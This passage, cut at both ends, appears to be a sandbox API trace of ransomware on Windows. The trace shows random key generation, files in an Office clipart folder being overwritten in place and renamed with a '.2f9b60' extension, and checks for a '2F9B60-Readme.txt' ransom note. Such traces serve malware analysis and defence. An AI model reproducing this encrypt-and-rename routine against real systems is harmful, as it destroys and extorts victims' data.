0x5ed17ca7 [0125.652] RtlRandomEx (in: Seed=0x232ff6f0 | out: Seed=0x232ff6f0) returned 0x30185db8 [0125.652] RtlRandomEx (in: Seed=0x232ff6f0 | out: Seed=0x232ff6f0) returned 0x3e24c94f [0125.652] RtlRandomEx (in: Seed=0x232ff6f0 | out: Seed=0x232ff6f0) returned 0x20d083bb [0125.652] RtlRandomEx (in: Seed=0x232ff6f0 | out: Seed=0x232ff6f0) returned 0xb09be92 [0125.652] RtlRandomEx (in: Seed=0x232ff6f0 | out: Seed=0x232ff6f0) returned 0x60d8d1af [0125.652] RtlRandomEx (in: Seed=0x232ff6f0 | out: Seed=0x232ff6f0) returned 0x7e6bcfb [0125.652] RtlRandomEx (in: Seed=0x232ff6f0 | out: Seed=0x232ff6f0) returned 0x47a28248 [0125.652] RtlRandomEx (in: Seed=0x232ff6f0 | out: Seed=0x232ff6f0) returned 0x731bc [0125.652] RtlRandomEx (in: Seed=0x232ff6f0 | out: Seed=0x232ff6f0) returned 0x5c1ab52a [0125.652] RtlRandomEx (in: Seed=0x232ff6f0 | out: Seed=0x232ff6f0) returned 0x28b39063 [0125.652] RtlRandomEx (in: Seed=0x232ff6f0 | out: Seed=0x232ff6f0) returned 0x66e84f73 [0125.652] RtlRandomEx (in: Seed=0x232ff6f0 | out: Seed=0x232ff6f0) returned 0x4a2f0c6c [0125.652] RtlRandomEx (in: Seed=0x232ff6f0 | out: Seed=0x232ff6f0) returned 0x5c375348 [0125.652] RtlRandomEx (in: Seed=0x232ff6f0 | out: Seed=0x232ff6f0) returned 0xfdeaafb [0125.652] RtlRandomEx (in: Seed=0x232ff6f0 | out: Seed=0x232ff6f0) returned 0x235fd8c8 [0125.652] RtlRandomEx (in: Seed=0x232ff6f0 | out: Seed=0x232ff6f0) returned 0x49f59d44 [0125.652] RtlRandomEx (in: Seed=0x232ff6f0 | out: Seed=0x232ff6f0) returned 0x1bf959cb [0125.652] RtlRandomEx (in: Seed=0x232ff6f0 | out: Seed=0x232ff6f0) returned 0x1adb0ec7 [0125.652] RtlRandomEx (in: Seed=0x232ff6f0 | out: Seed=0x232ff6f0) returned 0x1e0cd3b7 [0125.652] RtlRandomEx (in: Seed=0x232ff6f0 | out: Seed=0x232ff6f0) returned 0x1241b0d5 [0125.652] RtlRandomEx (in: Seed=0x232ff6f0 | out: Seed=0x232ff6f0) returned 0x6c01de3d [0125.652] RtlRandomEx (in: Seed=0x232ff6f0 | out: Seed=0x232ff6f0) returned 0x712c0561 [0125.652] RtlRandomEx (in: Seed=0x232ff6f0 | out: Seed=0x232ff6f0) returned 0x123c26fb [0125.652] RtlRandomEx (in: Seed=0x232ff6f0 | out: Seed=0x232ff6f0) returned 0x2fc1103d [0125.652] RtlRandomEx (in: Seed=0x232ff6f0 | out: Seed=0x232ff6f0) returned 0x6191a44 [0125.653] RtlRandomEx (in: Seed=0x232ff6f0 | out: Seed=0x232ff6f0) returned 0x7b69b969 [0125.653] RtlRandomEx (in: Seed=0x232ff6f0 | out: Seed=0x232ff6f0) returned 0x228dbba0 [0125.653] RtlRandomEx (in: Seed=0x232ff6f0 | out: Seed=0x232ff6f0) returned 0x32cbff3c [0125.663] ReadFile (in: hFile=0xdc0, lpBuffer=0x41d31d40, nNumberOfBytesToRead=0x108c, lpNumberOfBytesRead=0x232ff6f0, lpOverlapped=0x0 | out: lpBuffer=0x41d31d40*, lpNumberOfBytesRead=0x232ff6f0*=0x108c, lpOverlapped=0x0) returned 1 [0125.666] SetFilePointerEx (in: hFile=0xdc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.666] WriteFile (in: hFile=0xdc0, lpBuffer=0x41d1f0f0*, nNumberOfBytesToWrite=0x108c, lpNumberOfBytesWritten=0x232ff6f4, lpOverlapped=0x0 | out: lpBuffer=0x41d1f0f0*, lpNumberOfBytesWritten=0x232ff6f4*=0x108c, lpOverlapped=0x0) returned 1 [0125.685] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a71c0 [0125.685] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6230 [0125.685] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a6230) returned 1 [0125.685] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41d1f0f0) returned 1 [0125.685] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41d31d40) returned 1 [0125.685] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504110) returned 1 [0125.686] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420593d0) returned 1 [0125.686] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x202a6230 [0125.686] SetFilePointerEx (in: hFile=0xdc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0125.686] WriteFile (in: hFile=0xdc0, lpBuffer=0x167280*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x232ff810, lpOverlapped=0x0 | out: lpBuffer=0x167280*, lpNumberOfBytesWritten=0x232ff810*=0x10a, lpOverlapped=0x0) returned 1 [0125.694] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420593d0 [0125.694] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20504110 [0125.694] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6980 [0125.694] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a6980) returned 1 [0125.694] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b7d5a50 [0125.694] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6980 [0125.694] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6bf0 [0125.695] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a6bf0) returned 1 [0125.695] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504110) returned 1 [0125.695] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420593d0) returned 1 [0125.695] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cda0570 [0125.695] sprintf (in: _Dest=0x1cda0570, _Format="%c%c" | out: _Dest="88") returned 2 [0125.695] sprintf (in: _Dest=0x1cda0572, _Format="%c%c" | out: _Dest="fe") returned 2 [0125.695] sprintf (in: _Dest=0x1cda0574, _Format="%c%c" | out: _Dest="78") returned 2 [0125.695] sprintf (in: _Dest=0x1cda0576, _Format="%c%c" | out: _Dest="56") returned 2 [0125.695] sprintf (in: _Dest=0x1cda0578, _Format="%c%c" | out: _Dest="1e") returned 2 [0125.695] sprintf (in: _Dest=0x1cda057a, _Format="%c%c" | out: _Dest="75") returned 2 [0125.695] sprintf (in: _Dest=0x1cda057c, _Format="%c%c" | out: _Dest="07") returned 2 [0125.695] sprintf (in: _Dest=0x1cda057e, _Format="%c%c" | out: _Dest="b4") returned 2 [0125.695] sprintf (in: _Dest=0x1cda0580, _Format="%c%c" | out: _Dest="41") returned 2 [0125.695] sprintf (in: _Dest=0x1cda0582, _Format="%c%c" | out: _Dest="1e") returned 2 [0125.695] sprintf (in: _Dest=0x1cda0584, _Format="%c%c" | out: _Dest="f2") returned 2 [0125.695] sprintf (in: _Dest=0x1cda0586, _Format="%c%c" | out: _Dest="1d") returned 2 [0125.695] sprintf (in: _Dest=0x1cda0588, _Format="%c%c" | out: _Dest="cd") returned 2 [0125.695] sprintf (in: _Dest=0x1cda058a, _Format="%c%c" | out: _Dest="10") returned 2 [0125.695] sprintf (in: _Dest=0x1cda058c, _Format="%c%c" | out: _Dest="38") returned 2 [0125.695] sprintf (in: _Dest=0x1cda058e, _Format="%c%c" | out: _Dest="63") returned 2 [0125.695] sprintf (in: _Dest=0x1cda0590, _Format="%c%c" | out: _Dest="b6") returned 2 [0125.696] sprintf (in: _Dest=0x1cda0592, _Format="%c%c" | out: _Dest="28") returned 2 [0125.696] sprintf (in: _Dest=0x1cda0594, _Format="%c%c" | out: _Dest="c1") returned 2 [0125.696] sprintf (in: _Dest=0x1cda0596, _Format="%c%c" | out: _Dest="7f") returned 2 [0125.696] sprintf (in: _Dest=0x1cda0598, _Format="%c%c" | out: _Dest="61") returned 2 [0125.696] sprintf (in: _Dest=0x1cda059a, _Format="%c%c" | out: _Dest="a8") returned 2 [0125.696] sprintf (in: _Dest=0x1cda059c, _Format="%c%c" | out: _Dest="b8") returned 2 [0125.696] sprintf (in: _Dest=0x1cda059e, _Format="%c%c" | out: _Dest="80") returned 2 [0125.696] RtlInitAnsiString (in: DestinationString=0x232ff888, SourceString="88fe78561e7507b4411ef21dcd103863b628c17f61a8b880" | out: DestinationString="88fe78561e7507b4411ef21dcd103863b628c17f61a8b880") [0125.696] RtlAnsiStringToUnicodeString (in: DestinationString=0x232ff858, SourceString="88fe78561e7507b4411ef21dcd103863b628c17f61a8b880", AllocateDestinationString=1 | out: DestinationString="88fe78561e7507b4411ef21dcd103863b628c17f61a8b880") returned 0x0 [0125.696] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b8647d0 [0125.696] wcscat (in: _Dest=0x2027b690, _Source="88fe78561e75" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\88fe78561e75") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\88fe78561e75" [0125.696] wcscat (in: _Dest=0x2027b690, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\88fe78561e75.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\88fe78561e75.2f9b60" [0125.696] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\88fe78561e75.2f9b60", NtPathName=0x232ff830, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\88fe78561e75.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0125.696] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x107300 [0125.699] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x107300) returned 1 [0125.699] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf470f0) returned 1 [0125.699] NtQueryInformationFile (in: FileHandle=0xdc0, IoStatusBlock=0x232ff898, FileInformation=0x232ff8a8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x232ff898, FileInformation=0x232ff8a8) returned 0x0 [0125.699] NtSetInformationFile (FileHandle=0xdc0, IoStatusBlock=0x232ff898, FileInformation=0x232ff8a8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0125.701] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027b690) returned 1 [0125.701] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8647d0) returned 1 [0125.701] FlushFileBuffers (hFile=0xdc0) returned 1 [0125.702] CloseHandle (hObject=0xdc0) returned 1 [0125.703] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x2027b690 [0125.703] wcscpy (in: _Dest=0x2027b690, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0125.703] wcscat (in: _Dest=0x2027b690, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" [0125.703] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\2f9b60-readme.txt")) returned 0x20 [0125.704] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027b690) returned 1 [0125.704] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85cb10) returned 1 Thread: id = 1636 os_tid = 0x1b14 [0125.737] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\c0a7ec20eac.2f9b60" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\c0a7ec20eac.2f9b60")) returned 0x20 [0125.737] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\c0a7ec20eac.2f9b60", dwFileAttributes=0x20) returned 1 [0125.738] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\c0a7ec20eac.2f9b60" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\c0a7ec20eac.2f9b60"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1020 [0125.738] GetFileSizeEx (in: hFile=0x1020, lpFileSize=0x231afda0 | out: lpFileSize=0x231afda0*=7648) returned 1 [0125.738] SetFilePointerEx (in: hFile=0x1020, liDistanceToMove=0x1ddc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.738] ReadFile (in: hFile=0x1020, lpBuffer=0x231afd20, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x231afd68, lpOverlapped=0x0 | out: lpBuffer=0x231afd20*, lpNumberOfBytesRead=0x231afd68*=0x4, lpOverlapped=0x0) returned 1 [0125.739] FlushFileBuffers (hFile=0x1020) returned 1 [0125.752] CloseHandle (hObject=0x1020) returned 1 [0125.752] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\c0a7ec20eac.2f9b60", dwFileAttributes=0x20) returned 1 [0125.753] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205d370) returned 1 Thread: id = 1637 os_tid = 0x1b18 [0125.764] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\c0ac7e21ae07.2f9b60" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\c0ac7e21ae07.2f9b60")) returned 0x20 [0125.764] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\c0ac7e21ae07.2f9b60", dwFileAttributes=0x20) returned 1 [0125.765] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\c0ac7e21ae07.2f9b60" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\c0ac7e21ae07.2f9b60"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1020 [0125.765] GetFileSizeEx (in: hFile=0x1020, lpFileSize=0x2283fdc0 | out: lpFileSize=0x2283fdc0*=48262) returned 1 [0125.765] SetFilePointerEx (in: hFile=0x1020, liDistanceToMove=0xbc82, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.765] ReadFile (in: hFile=0x1020, lpBuffer=0x2283fd40, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2283fd88, lpOverlapped=0x0 | out: lpBuffer=0x2283fd40*, lpNumberOfBytesRead=0x2283fd88*=0x4, lpOverlapped=0x0) returned 1 [0125.766] FlushFileBuffers (hFile=0x1020) returned 1 [0125.787] CloseHandle (hObject=0x1020) returned 1 [0125.787] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\c0ac7e21ae07.2f9b60", dwFileAttributes=0x20) returned 1 [0125.788] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205d2d0) returned 1 Thread: id = 1638 os_tid = 0x1b1c [0125.818] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\c0b989440e43.2f9b60" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\c0b989440e43.2f9b60")) returned 0x20 [0125.818] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\c0b989440e43.2f9b60", dwFileAttributes=0x20) returned 1 [0125.819] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\c0b989440e43.2f9b60" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\c0b989440e43.2f9b60"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1020 [0125.819] GetFileSizeEx (in: hFile=0x1020, lpFileSize=0x2306fb60 | out: lpFileSize=0x2306fb60*=8070) returned 1 [0125.819] SetFilePointerEx (in: hFile=0x1020, liDistanceToMove=0x1f82, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.819] ReadFile (in: hFile=0x1020, lpBuffer=0x2306fae0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2306fb28, lpOverlapped=0x0 | out: lpBuffer=0x2306fae0*, lpNumberOfBytesRead=0x2306fb28*=0x4, lpOverlapped=0x0) returned 1 [0125.820] FlushFileBuffers (hFile=0x1020) returned 1 [0125.862] CloseHandle (hObject=0x1020) returned 1 [0125.862] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\c0b989440e43.2f9b60", dwFileAttributes=0x20) returned 1 [0125.863] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205d550) returned 1 Thread: id = 1639 os_tid = 0x1b20 [0125.868] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\c1a466af081e.2f9b60" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\c1a466af081e.2f9b60")) returned 0x20 [0125.868] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\c1a466af081e.2f9b60", dwFileAttributes=0x20) returned 1 [0125.870] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\c1a466af081e.2f9b60" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\c1a466af081e.2f9b60"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1020 [0125.871] GetFileSizeEx (in: hFile=0x1020, lpFileSize=0x235af6e0 | out: lpFileSize=0x235af6e0*=2758) returned 1 [0125.871] SetFilePointerEx (in: hFile=0x1020, liDistanceToMove=0xac2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.871] ReadFile (in: hFile=0x1020, lpBuffer=0x235af660, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x235af6a8, lpOverlapped=0x0 | out: lpBuffer=0x235af660*, lpNumberOfBytesRead=0x235af6a8*=0x4, lpOverlapped=0x0) returned 1 [0125.871] FlushFileBuffers (hFile=0x1020) returned 1 [0125.874] CloseHandle (hObject=0x1020) returned 1 [0125.874] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\c1a466af081e.2f9b60", dwFileAttributes=0x20) returned 1 [0125.875] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205d5f0) returned 1 Thread: id = 1640 os_tid = 0x1b24 [0125.891] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\c2701a5831b1.2f9b60" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\c2701a5831b1.2f9b60")) returned 0x20 [0125.891] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\c2701a5831b1.2f9b60", dwFileAttributes=0x20) returned 1 [0125.892] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\c2701a5831b1.2f9b60" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\c2701a5831b1.2f9b60"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1020 [0125.892] GetFileSizeEx (in: hFile=0x1020, lpFileSize=0x2369fb80 | out: lpFileSize=0x2369fb80*=12968) returned 1 [0125.892] SetFilePointerEx (in: hFile=0x1020, liDistanceToMove=0x32a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.892] ReadFile (in: hFile=0x1020, lpBuffer=0x2369fb00, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2369fb48, lpOverlapped=0x0 | out: lpBuffer=0x2369fb00*, lpNumberOfBytesRead=0x2369fb48*=0x4, lpOverlapped=0x0) returned 1 [0125.893] FlushFileBuffers (hFile=0x1020) returned 1 [0125.895] CloseHandle (hObject=0x1020) returned 1 [0125.895] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\c2701a5831b1.2f9b60", dwFileAttributes=0x20) returned 1 [0125.896] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205d690) returned 1 Thread: id = 1641 os_tid = 0x1b28 [0125.910] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\c2c09d4a02a0.2f9b60" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\c2c09d4a02a0.2f9b60")) returned 0x20 [0125.910] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\c2c09d4a02a0.2f9b60", dwFileAttributes=0x20) returned 1 [0125.913] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\c2c09d4a02a0.2f9b60" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\c2c09d4a02a0.2f9b60"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1020 [0125.913] GetFileSizeEx (in: hFile=0x1020, lpFileSize=0x2383f800 | out: lpFileSize=0x2383f800*=9038) returned 1 [0125.914] SetFilePointerEx (in: hFile=0x1020, liDistanceToMove=0x234a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.914] ReadFile (in: hFile=0x1020, lpBuffer=0x2383f780, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2383f7c8, lpOverlapped=0x0 | out: lpBuffer=0x2383f780*, lpNumberOfBytesRead=0x2383f7c8*=0x4, lpOverlapped=0x0) returned 1 [0125.914] FlushFileBuffers (hFile=0x1020) returned 1 [0125.952] CloseHandle (hObject=0x1020) returned 1 [0125.953] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\c2c09d4a02a0.2f9b60", dwFileAttributes=0x20) returned 1 [0125.953] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205c970) returned 1 Thread: id = 1642 os_tid = 0x1b2c [0125.970] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\c7b6d7bea814.2f9b60" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\c7b6d7bea814.2f9b60")) returned 0x20 [0125.971] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\c7b6d7bea814.2f9b60", dwFileAttributes=0x20) returned 1 [0125.972] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\c7b6d7bea814.2f9b60" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\c7b6d7bea814.2f9b60"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1020 [0125.972] GetFileSizeEx (in: hFile=0x1020, lpFileSize=0x2208f800 | out: lpFileSize=0x2208f800*=7849) returned 1 [0125.973] SetFilePointerEx (in: hFile=0x1020, liDistanceToMove=0x1ea5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.973] ReadFile (in: hFile=0x1020, lpBuffer=0x2208f780, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2208f7c8, lpOverlapped=0x0 | out: lpBuffer=0x2208f780*, lpNumberOfBytesRead=0x2208f7c8*=0x4, lpOverlapped=0x0) returned 1 [0125.974] FlushFileBuffers (hFile=0x1020) returned 1 [0125.979] CloseHandle (hObject=0x1020) returned 1 [0125.979] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\c7b6d7bea814.2f9b60", dwFileAttributes=0x20) returned 1 [0125.980] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205d0f0) returned 1 Thread: id = 1643 os_tid = 0x1b30 [0125.998] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\c959b774a2bc.2f9b60" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\c959b774a2bc.2f9b60")) returned 0x20 [0125.999] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\c959b774a2bc.2f9b60", dwFileAttributes=0x20) returned 1 [0125.999] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\c959b774a2bc.2f9b60" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\c959b774a2bc.2f9b60"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1020 [0126.000] GetFileSizeEx (in: hFile=0x1020, lpFileSize=0x234cfb20 | out: lpFileSize=0x234cfb20*=11902) returned 1 [0126.000] SetFilePointerEx (in: hFile=0x1020, liDistanceToMove=0x2e7a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.000] ReadFile (in: hFile=0x1020, lpBuffer=0x234cfaa0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x234cfae8, lpOverlapped=0x0 | out: lpBuffer=0x234cfaa0*, lpNumberOfBytesRead=0x234cfae8*=0x4, lpOverlapped=0x0) returned 1 [0126.001] FlushFileBuffers (hFile=0x1020) returned 1 [0126.007] CloseHandle (hObject=0x1020) returned 1 [0126.007] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\c959b774a2bc.2f9b60", dwFileAttributes=0x20) returned 1 [0126.007] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205cdd0) returned 1 Thread: id = 1644 os_tid = 0x1b34 [0126.011] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CARBN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\carbn_01.mid")) returned 0x20 [0126.012] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CARBN_01.MID", dwFileAttributes=0x20) returned 1 [0126.013] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CARBN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\carbn_01.mid"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1020 [0126.014] GetFileSizeEx (in: hFile=0x1020, lpFileSize=0x23c7fa40 | out: lpFileSize=0x23c7fa40*=9322) returned 1 [0126.014] SetFilePointerEx (in: hFile=0x1020, liDistanceToMove=0x2466, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.014] ReadFile (in: hFile=0x1020, lpBuffer=0x23c7f9c0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x23c7fa08, lpOverlapped=0x0 | out: lpBuffer=0x23c7f9c0*, lpNumberOfBytesRead=0x23c7fa08*=0x4, lpOverlapped=0x0) returned 1 [0126.016] SetFilePointerEx (in: hFile=0x1020, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 